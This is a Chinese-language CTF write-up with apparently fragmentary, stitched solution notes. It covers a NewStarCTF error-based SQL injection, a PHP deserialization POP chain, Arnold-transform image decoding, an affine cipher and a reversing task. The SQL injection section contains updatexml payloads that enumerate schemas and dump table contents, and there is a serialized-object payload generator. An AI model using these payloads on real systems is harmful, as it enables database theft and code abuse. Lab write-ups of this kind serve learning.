查库 1' and updatexml(1,concat(0x7e,database(),0x7e),1)# >XPATH syntax error: '~wfy~'
查表 1' and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)# >XPATH syntax error: '~n,wfy_comments,wfy_information~'
查询wfy_comments库字段及内容 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)# >XPATH syntax error: '~id,text,user,name,display~' 1' and updatexml(1,concat(0x7e,(select right(group_concat(text),27) from wfy.wfy_comments),0x7e),1)# >XPATH syntax error: '~flag{Ju4t_m2ke_some_err0rs}~'
<?php error_reporting(0); highlight_file(__FILE__); #Something useful for you : https://zhuanlan.zhihu.com/p/377676274 class Start{ public $name; protected $func; public function __destruct() { echo "Welcome to NewStarCTF, ".$this->name; } public function __isset($var) { ($this->func)(); } } class Sec{ private $obj; private $var; public function __toString() { $this->obj->check($this->var); return "CTFers"; } public function __invoke() { echo file_get_contents('/flag'); } } class Easy{ public $cla; public function __call($fun, $var) { $this->cla = clone $var[0]; } } class eeee{ public $obj; public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } } if(isset($_POST['pop'])){ unserialize($_POST['pop']); }
附学弟的Payload：
<?php class Start { public $name; public $func; public function __destruct() { echo "Welcome to NewStarCTF, ".$this->name; } public function __isset($var) { ($this->func)(); } } class Sec { public $obj; public $var; public function __construct($a, $b) { $this->obj=$a; $this->var=$b; } public function __toString() { $this->obj->check($this->var); return "CTFers"; } public function __invoke() { echo "afdfdsaf"; } } class Easy { public $cla; public function __call($fun, $var) { echo $this->cla = clone $var[0]; } } class eeee { public $obj; public function __clone() { if (isset($this->obj->cmd)) { echo "success"; } } } $a=new Start(); $b=new Easy(); $c=new eeee(); $c->obj=$a; $d=new Sec($b, $c); $a->name=$d; $a->func=$d; echo serialize($a);
new_x = ((a * b + 1) * x - a * y) % N new_y = (-b * x + y) % N arnold_image[new_x, new_y, :] = image[x, y, :]
最终脚本：
import numpy as np import cv2 def arnold_encode(image, a, b): # 1:创建新图像 arnold_image = np.zeros(shape=image.shape) # 返回给定形状和类型的新数组，用0填充。img.shape返回img的长宽信息 # 2：计算N h, w = image.shape[0], image.shape[1] # image.shape[0],image.shape[1],image.shape[2]表示图像长，宽，通道数 N = w # 或N=w # 3：遍历像素坐标变换 for x in range(h): for y in range(w): # 按照公式坐标变换 new_x = (1 * x + b * y) % N # 解密：上下对换，a变b,x变y,+变- new_y = (a * x + (a * b + 1) * y) % N arnold_image[new_x, new_y, :] = image[x, y, :] arnold_image = np.uint8(arnold_image) return arnold_image def dearnold_encode(image, a, b): # 1:创建新图像 arnold_image = np.zeros(shape=image.shape) # 返回给定形状和类型的新数组，用0填充。img.shape返回img的长宽信息 # 2：计算N h, w = image.shape[0], image.shape[1] # image.shape[0],image.shape[1],image.shape[2]表示图像长，宽，通道数 #N = w # 或N=w N = w # 3：遍历像素坐标变换 for x in range(h): for y in range(w): # 按照公式坐标变换 new_x = ((a * b + 1) * x - b * y) % N new_y = (-a * x + y) % N arnold_image[new_x, new_y, :] = image[x,y, :] arnold_image = np.uint8(arnold_image) return arnold_image r = cv2.imread('girlfriend.png') for i in range(0, 1): # 遍历次数 r = dearnold_encode(r, 0x726e, 0x6f6c64) cv2.imshow("arnold", r) cv2.waitKey(0) cv2.destroyAllWindows() cv2.imwrite('flag.png',r)
将a,b带入即可，运行。
Flag：flag{按理说这个点猪也该醒了}
Crypto
Crypto1.unusual_base
加密脚本：
from secret import flag from Crypto.Util.number import * from random import shuffle from string import ascii_lowercase, ascii_uppercase, digits alphabet = ascii_uppercase + ascii_lowercase + digits +'$&' alphabet = list(alphabet) bits = '' pad_len = len(flag) % 3 for f in flag: bits += bin(f)[2:].rjust(8,'0') bits += '0000'*pad_len encoded = '' shuffle(alphabet) alphabet = "".join(alphabet) for i in range(0, len(bits), 6): encoded += alphabet[int(bits[i:i+6], 2)] encoded += '%'*pad_len print(f'encoded = "{encoded}"') print(f'alphabet = "{alphabet}"')
from secret import flag from Crypto.Util.number import * a = getPrime(8) b = getPrime(8) ciphertext = [] for f in flag: ciphertext.append((a*f + b) % 0x100) print(bytes(ciphertext))
题目给了ciphertext
思路就是我们已知flag格式为flag{，用这几个字符串来爆破得到a和b。之后再用得到的a和b爆破ascii表，带入(a*f + b) % 0x100如果结果为ciphertext那就是正确的字符串，最后拼接得到flag
之前的脚本删掉了，重新写了个比较麻烦的。
from Crypto.Util.number import * import string ls = [] for i in range(500): #取N为8的素数 n = getPrime(8) if n not in ls: ls.append(n) ls.sort() #print(ls) #[131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251] flag = b"flag{" cipher = b"\xb1\x83\x82T\x10\x80\xc9O\x84\xc9<\x0f\xf2\x82\x9a\xc9\x9b8'\x9b<\xdb\x9b\x9b\x82\xc8\xe0V" n = 0 for a in ls: #爆破a和b for b in ls: s = 0 for i in range(5): if (a*flag[i] + b) % 0x100 == cipher[i]: s += 1 if s == 5: print(a,b) #163 191 a,b = 163,191 table = string.printable.encode() #取ascii表 res = "" for c in cipher: for i in table: #爆破flag if (a*i + b)%0x100 == c: res += chr(i) print(res)
先爆破N为8的素数，得到列表ls，然后再爆破a和b，最后爆破flag明文。
百度了下Affine好像是仿射密码，不知道有没有非预期解。
Flag：flag{Kn0wn_p1aint3xt_4ttack}
Crypto3.robot
下载附件
from hashlib import sha256 from secret import flag from base64 import * import random cipher = [] def fun1(x): return sha256(x.encode()).hexdigest() def fun2(x): return pow(114514,ord(x),1919810) def fun3(x): key = random.randint(0,1145141919810) ans = x.encode() if key & 1: ans = b32encode(ans) key >>= 1 if key & 1: ans = b64encode(ans) key >>= 1 if key & 1: ans = b16encode(ans) key >>= 1 return ans def encrypt(msg): res = [] for i in msg: tmp = list(map(random.choice([fun1,fun2,fun3]),[i]))[0] res.append(tmp) return res print(encrypt(flag))
def step3(s): flag = ['']*32 for i in range(0,32,4): for j in range(4): ascii = s[i//4] >> 8*(4-(j+1)) #取ascii s[i//4] = s[i//4] - (ascii << 8*(4-(j+1))) flag[i+(4-(j+1))] = chr(ascii) print(''.join(flag))
最终脚本：
""" __int64 sub_19B6() { int i; // [rsp+8h] [rbp-8h] int j; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 31; i += 4 ) { for ( j = 0; j <= 3; ++j ) *((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j); } return sub_19A1(); }p
""" """ __int64 sub_192E() { int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 7; ++i ) *((_DWORD *)s + i) ^= 0x2022u; return sub_1919(); } """ """ __int64 sub_151D() { int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 7; ++i ) *((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17; return sub_1508(); } """
""" void sub_1253() { int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 7; ++i ) { if ( *((_DWORD *)s + i) != dword_5020[i] ) { dword_5040 = 0; break; } } sub_123E(); } """ s = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]
def step1(s): for i in range(8): s[i] ^= (s[i] >> 17)
def step2(s): for i in range(8): s[i] ^= 0x2022
def step3(s): flag = ['']*32 for i in range(0,32,4): for j in range(4): ascii = s[i//4] >> 8*(4-(j+1)) #取ascii s[i//4] = s[i//4] - (ascii << 8*(4-(j+1))) flag[i+(4-(j+1))] = chr(ascii) print(''.join(flag))
难度还可以，是我太菜了。
（这个拼的还是有点问题，之前的图拼的老完整了不过给我手贱删掉了。可能是参数的问题，不过也能看）
